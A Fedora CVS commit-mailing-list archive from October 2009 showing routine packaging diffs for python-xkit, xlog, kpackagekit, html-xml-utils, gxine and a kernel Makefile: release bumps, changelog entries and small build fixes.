@@ -37,6 +37,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/xkit-0.0.0-py2.5.egg-info
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.4.2-4
+- Fix FTBFS: fixed %%files section for python 2.6
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Sun Oct 25 18:16:11 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 18:16:11 +0000 (UTC)
Subject: rpms/python-xkit/devel python-xkit.spec,1.2,1.3
Message-ID: <20091025181611.6F53211C0269@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-xkit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31183/devel

Modified Files:
	python-xkit.spec 
Log Message:
- Fix FTBFS: fixed %%files section for python 2.6




Index: python-xkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-xkit/devel/python-xkit.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-xkit.spec	27 Jul 2009 01:32:34 -0000	1.2
+++ python-xkit.spec	25 Oct 2009 18:16:11 -0000	1.3
@@ -4,7 +4,7 @@
 Summary: A simple, transparent and easy to extend xorg parser
 Name:    python-xkit
 Version: 0.4.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Source0: http://code.launchpad.net/xorgparser/trunk/0.4.2/+download/%{upstreamname}-%{version}.tar.gz
 License: LGPLv2
 Group:   Development/Libraries
@@ -37,6 +37,9 @@ rm -rf %{buildroot}
 %{python_sitelib}/xkit-0.0.0-py2.5.egg-info
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.4.2-4
+- Fix FTBFS: fixed %%files section for python 2.6
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mjakubicek at fedoraproject.org  Sun Oct 25 18:19:29 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 18:19:29 +0000 (UTC)
Subject: rpms/python-xkit/F-12 python-xkit.spec,1.3,1.4
Message-ID: <20091025181929.118B011C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-xkit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31823/F-12

Modified Files:
	python-xkit.spec 
Log Message:
- Fix FTBFS: fixed %%files section for python 2.6




Index: python-xkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-xkit/F-12/python-xkit.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-xkit.spec	25 Oct 2009 18:16:10 -0000	1.3
+++ python-xkit.spec	25 Oct 2009 18:19:28 -0000	1.4
@@ -34,7 +34,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README PKG-INFO examples tests
 %{python_sitelib}/XKit
-%{python_sitelib}/xkit-0.0.0-py2.5.egg-info
+%{python_sitelib}/xkit-0.0.0-py2.6.egg-info
 
 %changelog
 * Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.4.2-4



From mjakubicek at fedoraproject.org  Sun Oct 25 18:19:29 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 18:19:29 +0000 (UTC)
Subject: rpms/python-xkit/devel python-xkit.spec,1.3,1.4
Message-ID: <20091025181929.4B9EF11C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/python-xkit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31823/devel

Modified Files:
	python-xkit.spec 
Log Message:
- Fix FTBFS: fixed %%files section for python 2.6




Index: python-xkit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-xkit/devel/python-xkit.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- python-xkit.spec	25 Oct 2009 18:16:11 -0000	1.3
+++ python-xkit.spec	25 Oct 2009 18:19:29 -0000	1.4
@@ -34,7 +34,7 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README PKG-INFO examples tests
 %{python_sitelib}/XKit
-%{python_sitelib}/xkit-0.0.0-py2.5.egg-info
+%{python_sitelib}/xkit-0.0.0-py2.6.egg-info
 
 %changelog
 * Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.4.2-4



From lucilanga at fedoraproject.org  Sun Oct 25 18:34:10 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 18:34:10 +0000 (UTC)
Subject: rpms/xlog/devel xlog.spec,1.13,1.14
Message-ID: <20091025183410.9994611C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xlog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2210

Modified Files:
	xlog.spec 
Log Message:
fix for #530845


Index: xlog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xlog/devel/xlog.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xlog.spec	27 Jul 2009 08:09:00 -0000	1.13
+++ xlog.spec	25 Oct 2009 18:34:10 -0000	1.14
@@ -26,7 +26,7 @@ xlog supports trlog, adif, cabrillo, edi
 %setup -q
 #fix bogus .desktop file
 sed -i -e "s/ApplicationHamRadio/Application/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
-sed -i -e "s/Utility;Database;HamRadio;GTK/HamRadio;/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
+sed -i -e "s/Utility;Database;HamRadio;GTK/Network;HamRadio;GTK/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 sed -i -e "s/.png//g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 
 %build



From tuxbrewr at fedoraproject.org  Sun Oct 25 18:39:47 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 25 Oct 2009 18:39:47 +0000 (UTC)
Subject: rpms/kpackagekit/F-12 .cvsignore, 1.15, 1.16 kpackagekit.spec, 1.46,
	1.47 sources, 1.23, 1.24
Message-ID: <20091025183948.09D9A11C00E5@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/kpackagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4372

Modified Files:
	.cvsignore kpackagekit.spec sources 
Log Message:
official 0.5.0.2 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	24 Oct 2009 00:26:43 -0000	1.15
+++ .cvsignore	25 Oct 2009 18:39:47 -0000	1.16
@@ -1 +1 @@
-kpackagekit-0.5.0.1.tar.bz2
+kpackagekit-0.5.0.2.tar.bz2


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/kpackagekit.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- kpackagekit.spec	24 Oct 2009 00:26:43 -0000	1.46
+++ kpackagekit.spec	25 Oct 2009 18:39:47 -0000	1.47
@@ -2,14 +2,14 @@
 %define pk_version 0.5.3
 
 Name:	  	kpackagekit
-Version:	0.5.0.1
+Version:	0.5.0.2
 Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
 Group:		Applications/System
 #Source0:	http://www.kde-apps.org/CONTENT/content-files/84745-kpackagekit-%{version}.tar.bz2
-Source0:	kpackagekit-0.5.0.1.tar.bz2
+Source0:	kpackagekit-0.5.0.2.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -77,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.2-1
+- Official 0.5.0.2 release
+
 * Tue Oct 20 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.1-1
 - Official 0.5.0.1 release
 - Includes patch to fix (#469375) default/none issue


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	24 Oct 2009 00:26:43 -0000	1.23
+++ sources	25 Oct 2009 18:39:47 -0000	1.24
@@ -1 +1 @@
-5c4cd44083e6dcce59011bb83029eb3b  kpackagekit-0.5.0.1.tar.bz2
+85805deb36f8837e0d8a93f537f72353  kpackagekit-0.5.0.2.tar.bz2



From lucilanga at fedoraproject.org  Sun Oct 25 18:56:03 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 18:56:03 +0000 (UTC)
Subject: rpms/xlog/devel xlog.spec,1.14,1.15
Message-ID: <20091025185603.4700611C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xlog/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9301

Modified Files:
	xlog.spec 
Log Message:
fix for #530845


Index: xlog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xlog/devel/xlog.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- xlog.spec	25 Oct 2009 18:34:10 -0000	1.14
+++ xlog.spec	25 Oct 2009 18:56:02 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           xlog
 Version:        2.0.3
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Logging program for Hamradio Operators
 
 Group:          Applications/Communications
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-3
+- fix desktop file #530845
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From lucilanga at fedoraproject.org  Sun Oct 25 19:04:49 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:04:49 +0000 (UTC)
Subject: rpms/xlog/F-12 xlog.spec,1.13,1.14
Message-ID: <20091025190450.949ED11C029D@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xlog/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12085

Modified Files:
	xlog.spec 
Log Message:
fix desktop file #530845


Index: xlog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xlog/F-12/xlog.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- xlog.spec	27 Jul 2009 08:09:00 -0000	1.13
+++ xlog.spec	25 Oct 2009 19:04:46 -0000	1.14
@@ -1,6 +1,6 @@
 Name:           xlog
 Version:        2.0.3
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Logging program for Hamradio Operators
 
 Group:          Applications/Communications
@@ -26,7 +26,7 @@ xlog supports trlog, adif, cabrillo, edi
 %setup -q
 #fix bogus .desktop file
 sed -i -e "s/ApplicationHamRadio/Application/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
-sed -i -e "s/Utility;Database;HamRadio;GTK/HamRadio;/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
+sed -i -e "s/Utility;Database;HamRadio;GTK/Network;HamRadio;GTK/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 sed -i -e "s/.png//g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 
 %build
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-3
+- fix desktop file #530845
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.0.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From lucilanga at fedoraproject.org  Sun Oct 25 19:05:48 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:05:48 +0000 (UTC)
Subject: rpms/xlog/F-11 xlog.spec,1.12,1.13
Message-ID: <20091025190548.73CAC11C029D@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xlog/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12617

Modified Files:
	xlog.spec 
Log Message:
fix desktop file #530845


Index: xlog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xlog/F-11/xlog.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- xlog.spec	20 Jul 2009 05:34:46 -0000	1.12
+++ xlog.spec	25 Oct 2009 19:05:47 -0000	1.13
@@ -1,6 +1,6 @@
 Name:           xlog
 Version:        2.0.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Logging program for Hamradio Operators
 
 Group:          Applications/Communications
@@ -26,7 +26,7 @@ xlog supports trlog, adif, cabrillo, edi
 %setup -q
 #fix bogus .desktop file
 sed -i -e "s/ApplicationHamRadio/Application/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
-sed -i -e "s/Utility;Database;HamRadio;GTK/HamRadio;/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
+sed -i -e "s/Utility;Database;HamRadio;GTK/Network;HamRadio;GTK/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 sed -i -e "s/.png//g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 
 %build
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-2
+- fix desktop file #530845
+
 * Mon Jul 20 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-1
 - new upstream release
 



From cebbert at fedoraproject.org  Sun Oct 25 19:09:01 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 25 Oct 2009 19:09:01 +0000 (UTC)
Subject: rpms/kernel/devel Makefile,1.115,1.116
Message-ID: <20091025190901.36CFB11C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14072

Modified Files:
	Makefile 
Log Message:
Do not change PCI MSI settings when doing "make release"


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Makefile,v
retrieving revision 1.115
retrieving revision 1.116
diff -u -p -r1.115 -r1.116
--- Makefile	14 Oct 2009 00:12:13 -0000	1.115
+++ Makefile	25 Oct 2009 19:08:58 -0000	1.116
@@ -74,7 +74,6 @@ debug:
 	@perl -pi -e 's/# CONFIG_DMA_API_DEBUG is not set/CONFIG_DMA_API_DEBUG=y/' config-nodebug
 	@perl -pi -e 's/# CONFIG_PM_TEST_SUSPEND is not set/CONFIG_PM_TEST_SUSPEND=y/' config-generic
 	@perl -pi -e 's/# CONFIG_BOOT_TRACER is not set/CONFIG_BOOT_TRACER=y/' config-generic
-	@perl -pi -e 's/# CONFIG_PCI_MSI_DEFAULT_ON is not set/CONFIG_PCI_MSI_DEFAULT_ON=y/' config-generic
 	@perl -pi -e 's/# CONFIG_B43_DEBUG is not set/CONFIG_B43_DEBUG=y/' config-generic
 	@perl -pi -e 's/# CONFIG_B43LEGACY_DEBUG is not set/CONFIG_B43LEGACY_DEBUG=y/' config-generic
 	@perl -pi -e 's/# CONFIG_MMIOTRACE is not set/CONFIG_MMIOTRACE=y/' config-nodebug
@@ -126,7 +125,6 @@ release:
 	@perl -pi -e 's/CONFIG_DMA_API_DEBUG=y/# CONFIG_DMA_API_DEBUG is not set/' config-nodebug
 	@perl -pi -e 's/CONFIG_PM_TEST_SUSPEND=y/#\ CONFIG_PM_TEST_SUSPEND\ is\ not\ set/' config-generic
 	@perl -pi -e 's/CONFIG_BOOT_TRACER=y/#\ CONFIG_BOOT_TRACER\ is\ not\ set/' config-generic
-	@perl -pi -e 's/CONFIG_PCI_MSI_DEFAULT_ON=y/# CONFIG_PCI_MSI_DEFAULT_ON is not set/' config-generic
 	@perl -pi -e 's/CONFIG_B43_DEBUG=y/# CONFIG_B43_DEBUG is not set/' config-generic
 	@perl -pi -e 's/CONFIG_B43LEGACY_DEBUG=y/# CONFIG_B43LEGACY_DEBUG is not set/' config-generic
 	@perl -pi -e 's/CONFIG_MMIOTRACE=y/# CONFIG_MMIOTRACE is not set/' config-nodebug



From lucilanga at fedoraproject.org  Sun Oct 25 19:09:11 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:09:11 +0000 (UTC)
Subject: rpms/xlog/F-10 xlog.spec,1.10,1.11
Message-ID: <20091025190911.9107611C00E5@cvs1.fedora.phx.redhat.com>

Author: lucilanga

Update of /cvs/pkgs/rpms/xlog/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14358

Modified Files:
	xlog.spec 
Log Message:
fix desktop file #530845


Index: xlog.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xlog/F-10/xlog.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- xlog.spec	20 Jul 2009 05:48:09 -0000	1.10
+++ xlog.spec	25 Oct 2009 19:09:07 -0000	1.11
@@ -1,6 +1,6 @@
 Name:           xlog
 Version:        2.0.3
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Logging program for Hamradio Operators
 
 Group:          Applications/Communications
@@ -26,7 +26,7 @@ xlog supports trlog, adif, cabrillo, edi
 %setup -q
 #fix bogus .desktop file
 sed -i -e "s/ApplicationHamRadio/Application/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
-sed -i -e "s/Utility;Database;HamRadio;GTK/HamRadio;/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
+sed -i -e "s/Utility;Database;HamRadio;GTK/Network;HamRadio;GTK/g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 sed -i -e "s/.png//g" $RPM_BUILD_DIR/%{name}-%{version}/data/desktop/xlog.desktop
 
 %build
@@ -74,6 +74,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-2
+- fix desktop file #530845
+
 * Mon Jul 20 2009 Lucian Langa <cooly at gnome.eu.org> - 2.0.3-1
 - new upstream release
 



From mjakubicek at fedoraproject.org  Sun Oct 25 19:09:45 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 19:09:45 +0000 (UTC)
Subject: rpms/html-xml-utils/F-12 html-xml-utils-5.5-hxpipe-man.patch, NONE, 
	1.1 html-xml-utils.spec, 1.10, 1.11
Message-ID: <20091025190945.08E4911C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/html-xml-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14149/F-12

Modified Files:
	html-xml-utils.spec 
Added Files:
	html-xml-utils-5.5-hxpipe-man.patch 
Log Message:
- Added html-xml-utils-5.5-hxpipe-man.patch, resolves BZ#527655



html-xml-utils-5.5-hxpipe-man.patch:
 hxpipe.1 |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE html-xml-utils-5.5-hxpipe-man.patch ---
--- hxpipe.1.orig	2009-10-25 19:26:25.000000000 +0100
+++ hxpipe.1	2009-10-25 19:26:46.000000000 +0100
@@ -10,7 +10,7 @@
 ..
 .TH "HXPIPE" "1" "21 Nov 2008" "5.x" "HTML-XML-utils"
 .SH NAME
-pipe \- convert XML file to a format easier to parse with Perl or AWK
+hxpipe \- convert XML file to a format easier to parse with Perl or AWK
 .SH SYNOPSIS
 .B hxpipe
 .RB "[\| " \-l " \|]"


Index: html-xml-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/html-xml-utils/F-12/html-xml-utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- html-xml-utils.spec	22 Aug 2009 01:59:50 -0000	1.10
+++ html-xml-utils.spec	25 Oct 2009 19:09:42 -0000	1.11
@@ -1,12 +1,14 @@
 Name:           html-xml-utils
 Version:        5.5
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A number of simple utilities for manipulating HTML and XML files
 
 Group:          Development/Tools
 License:        W3C
 URL:            http://www.w3.org/Tools/HTML-XML-utils/
 Source0:        http://www.w3.org/Tools/HTML-XML-utils/html-xml-utils-%{version}.tar.gz
+# Patch sent to the upstream maintainer Bert Bos <bert AT w3 DOT org> on 2009/10/25
+Patch0:			html-xml-utils-5.5-hxpipe-man.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -15,7 +17,7 @@ for each specific command.
 
 %prep
 %setup -q 
-
+%patch0
 
 %build
 %configure
@@ -40,6 +42,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.5-2
+- Added html-xml-utils-5.5-hxpipe-man.patch, resolves BZ#527655
+
 * Fri Aug 22 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.5-1
 - Update to 5.5 (bugfix for self-URL references)
 



From mjakubicek at fedoraproject.org  Sun Oct 25 19:09:46 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sun, 25 Oct 2009 19:09:46 +0000 (UTC)
Subject: rpms/html-xml-utils/devel html-xml-utils-5.5-hxpipe-man.patch, NONE,
	1.1 html-xml-utils.spec, 1.10, 1.11
Message-ID: <20091025190946.E113A11C00E5@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/html-xml-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14149/devel

Modified Files:
	html-xml-utils.spec 
Added Files:
	html-xml-utils-5.5-hxpipe-man.patch 
Log Message:
- Added html-xml-utils-5.5-hxpipe-man.patch, resolves BZ#527655



html-xml-utils-5.5-hxpipe-man.patch:
 hxpipe.1 |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE html-xml-utils-5.5-hxpipe-man.patch ---
--- hxpipe.1.orig	2009-10-25 19:26:25.000000000 +0100
+++ hxpipe.1	2009-10-25 19:26:46.000000000 +0100
@@ -10,7 +10,7 @@
 ..
 .TH "HXPIPE" "1" "21 Nov 2008" "5.x" "HTML-XML-utils"
 .SH NAME
-pipe \- convert XML file to a format easier to parse with Perl or AWK
+hxpipe \- convert XML file to a format easier to parse with Perl or AWK
 .SH SYNOPSIS
 .B hxpipe
 .RB "[\| " \-l " \|]"


Index: html-xml-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/html-xml-utils/devel/html-xml-utils.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- html-xml-utils.spec	22 Aug 2009 01:59:50 -0000	1.10
+++ html-xml-utils.spec	25 Oct 2009 19:09:45 -0000	1.11
@@ -1,12 +1,14 @@
 Name:           html-xml-utils
 Version:        5.5
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A number of simple utilities for manipulating HTML and XML files
 
 Group:          Development/Tools
 License:        W3C
 URL:            http://www.w3.org/Tools/HTML-XML-utils/
 Source0:        http://www.w3.org/Tools/HTML-XML-utils/html-xml-utils-%{version}.tar.gz
+# Patch sent to the upstream maintainer Bert Bos <bert AT w3 DOT org> on 2009/10/25
+Patch0:			html-xml-utils-5.5-hxpipe-man.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -15,7 +17,7 @@ for each specific command.
 
 %prep
 %setup -q 
-
+%patch0
 
 %build
 %configure
@@ -40,6 +42,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.5-2
+- Added html-xml-utils-5.5-hxpipe-man.patch, resolves BZ#527655
+
 * Fri Aug 22 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.5-1
 - Update to 5.5 (bugfix for self-URL references)
 



From mso at fedoraproject.org  Sun Oct 25 19:26:23 2009
From: mso at fedoraproject.org (Martin Sourada)
Date: Sun, 25 Oct 2009 19:26:23 +0000 (UTC)
Subject: rpms/gxine/devel .cvsignore, 1.4, 1.5 gxine.spec, 1.29, 1.30 sources,
	1.4, 1.5
Message-ID: <20091025192623.322B411C00E5@cvs1.fedora.phx.redhat.com>

Author: mso

Update of /cvs/extras/rpms/gxine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22475

Modified Files:
	.cvsignore gxine.spec sources 
Log Message:


0.5.904

disable lirc support as gxine's ./configure does not find fedora's lirc




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gxine/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	15 Jun 2008 15:56:32 -0000	1.4
+++ .cvsignore	25 Oct 2009 19:26:22 -0000	1.5
@@ -1 +1 @@
-gxine-0.5.903.tar.bz2
+gxine-0.5.904.tar.bz2


Index: gxine.spec
===================================================================
RCS file: /cvs/extras/rpms/gxine/devel/gxine.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gxine.spec	25 Jul 2009 01:57:35 -0000	1.29
+++ gxine.spec	25 Oct 2009 19:26:22 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           gxine
-Version:        0.5.903
-Release:        4%{?dist}
+Version:        0.5.904
+Release:        1%{?dist}
 Summary:        GTK frontend for the xine multimedia library
 
 Group:          Applications/Multimedia
@@ -9,7 +9,7 @@ URL:            http://xinehq.de/
 Source0:        http://superb-west.dl.sourceforge.net/sourceforge/xine/%{name}-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-Patch0:         gxine-0.5.8-lirc.patch
+#Patch0:         gxine-0.5.8-lirc.patch
 #Patch1:         gxine-0.5.11-keep-wnd-state.patch
 #Patch2:         gxine-0.5.11-xine-version-check.patch
 Patch3:         gxine-0.5.902-non-separate-toolbar.patch
@@ -25,7 +25,7 @@ BuildRequires:  dbus-glib-devel
 # for hal support
 BuildRequires:  hal-devel
 # for LIRC support (not available only for fedora)
-BuildRequires:  lirc-devel
+#BuildRequires:  lirc-devel
 # for XTest support
 BuildRequires:  libXtst-devel
 # for mozplugin
@@ -50,7 +50,7 @@ This plugin allows gxine to be embedded 
 %prep
 %setup -q
 
-%patch0 -p1 -b .lirc
+#%patch0 -p1 -b .lirc
 #%patch1 -p1 -b .keep-wnd-state
 #%patch2 -p1 -b .xine-version-check
 %patch3 -p1 -b .non-separate-toolbar
@@ -61,8 +61,8 @@ This plugin allows gxine to be embedded 
 %build
 %configure --with-dbus --with-hal --with-logo-format=image \
   --with-browser-plugin --disable-integration-wizard       \
-  --disable-gtk-compat --enable-watchdog                   \
-  --disable-own-playlist-parsers --disable-deprecated
+  --enable-watchdog  --disable-own-playlist-parsers        \
+  --disable-deprecated --disable-lirc
 
 make %{?_smp_mflags}
 
@@ -124,6 +124,10 @@ touch --no-create %{_datadir}/icons/hico
 %{_libdir}/mozilla/plugins/gxineplugin.so
 
 %changelog
+* Sun Oct 25 2009 Martin Sourada <mso at fedoraproject.org> - 0.5.904-1
+- 0.5.904
+- Disable lirc support (./configure does not find fedora's lirc)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.5.903-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gxine/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	15 Jun 2008 15:56:32 -0000	1.4
+++ sources	25 Oct 2009 19:26:22 -0000	1.5
@@ -1 +1 @@
-3878ffb159fa5aca093617dab4924e6d  gxine-0.5.903.tar.bz2
+00b10fac6ddfc211a8ef217174feb09b  gxine-0.5.904.tar.bz2



From lucilanga at fedoraproject.org  Sun Oct 25 19:29:19 2009
From: lucilanga at fedoraproject.org (Lucian Langa)
Date: Sun, 25 Oct 2009 19:29:19 +0000 (UTC)
Subject: rpms/xastir/devel xastir.desktop,1.2,1.3 xastir.spec,1.22,1.23
